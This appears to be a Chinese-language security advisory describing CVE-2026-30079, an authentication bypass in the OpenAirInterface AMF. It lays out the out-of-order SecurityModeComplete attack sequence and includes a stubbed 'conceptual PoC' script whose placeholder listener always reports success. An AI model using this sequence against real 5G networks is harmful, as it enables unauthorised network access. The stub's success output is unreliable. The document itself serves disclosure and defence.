IPBUF安全漏洞报告
English
CVE-2026-30079 CVSS 9.8 严重

CVE-2026-30079 OpenAirInterface认证绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-30079
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenAirInterface AMF

相关标签

认证绕过5GOpenAirInterface逻辑漏洞RCEAMF

漏洞概述

OpenAirInterface V2.2.0 AMF在UE注册流程中存在严重的逻辑缺陷,导致身份验证机制可被完全绕过。该漏洞是由于对乱序消息的处理不当引发的。攻击者通过在初始UE注册请求后立即发送SecurityModeComplete消息,欺骗AMF发生错误的状态转换。这使得AMF在发送拒绝注册后紧接着又接受注册,从而允许攻击者无需提供有效的凭证即可成功注册到网络中。此漏洞严重威胁了5G核心网的机密性、完整性和可用性。

技术细节

该漏洞位于OpenAirInterface AMF模块的NAS层信令处理逻辑中。在标准的5G注册流程中,UE需先发送Initial UE Message,AMF回复Identity Request,随后进行完整的鉴权流程。然而,V2.2.0版本的AMF状态机未能严格校验消息的时序性。当攻击者在发送InitialUERegistration后,跳过鉴权步骤直接发送SecurityModeComplete消息时,AMF内部状态发生异常。此时AMF会先判定流程错误触发Registration Reject,但因状态机处理逻辑缺陷,随后又错误地触发Registration Accept。这一竞态条件或逻辑漏洞导致UE绕过了NAS层认证(如5G-AKA),直接建立了与AMF的安全上下文,从而非法接入网络。

攻击链分析

STEP 1
1. 初始连接
攻击者(模拟恶意UE)向OpenAirInterface AMF发送Initial UE Message,发起注册请求。
STEP 2
2. 乱序消息发送
攻击者不等待AMF的鉴权挑战,直接构造并发送SecurityModeComplete消息。
STEP 3
3. 状态机欺骗
AMF收到乱序消息,状态机逻辑出错,导致先拒绝后接受注册。
STEP 4
4. 获取权限
UE成功绕过身份验证,获得网络注册状态,可访问核心网服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-30079 # This script demonstrates the logic bypass using a simulated 5G NAS stack import socket from scapy.all import * # Note: Requires Scapy with 3GPP/NAS support or custom NAS packet builder def send_nas_message(msg_type, ue_ip, amf_ip): # Function to send raw NAS message over SCTP/NGAP print(f"Sending NAS Message: {msg_type}") # Implementation of NGAP/NAS packet crafting would go here # ... def exploit_cve_2026_30079(target_amf_ip): print(f"[+] Targeting AMF: {target_amf_ip}") # Step 1: Send Initial UE Message (Registration Request) # Normally contains SUCI or 5G-GUTI nas_pdu_1 = build_nas_registration_request() send_ngap_initial_ue_message(target_amf_ip, nas_pdu_1) print("[+] Initial UE Registration sent") # Step 2: Send Security Mode Complete out of sequence # Normally this comes *after* Authentication and Security Mode Command # Sending it now triggers the state transition bug nas_pdu_2 = build_nas_security_mode_complete() send_ngap_uplink_nas_transport(target_amf_ip, nas_pdu_2) print("[+] Security Mode Complete sent (Out of sequence)") # Step 3: Observe response # The AMF should reject, but due to the bug, it accepts. response = listen_for_ngap_message() if "Registration Accept" in response: print("[!] EXPLOIT SUCCESSFUL: Registered without authentication!") else: print("[-] Exploit failed") if __name__ == "__main__": # Replace with actual AMF IP exploit_cve_2026_30079("192.168.56.101") # Helper functions (pseudo-code for NAS packet structure) def build_nas_registration_request(): return "NAS_PDU: Registration Request" def build_nas_security_mode_complete(): return "NAS_PDU: Security Mode Complete" def send_ngap_initial_ue_message(ip, pdu): pass def send_ngap_uplink_nas_transport(ip, pdu): pass def listen_for_ngap_message(): return "NAS_PDU: Registration Accept"

影响范围

OpenAirInterface V2.2.0 AMF

防御指南

临时缓解措施
由于该漏洞允许无需认证即可接入网络,建议立即受影响的AMF组件进行补丁更新。如果无法立即升级,应严格限制AMF的访问来源IP,并实施额外的网络层认证机制(如IPsec)作为临时防线,同时密切监控注册日志中的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表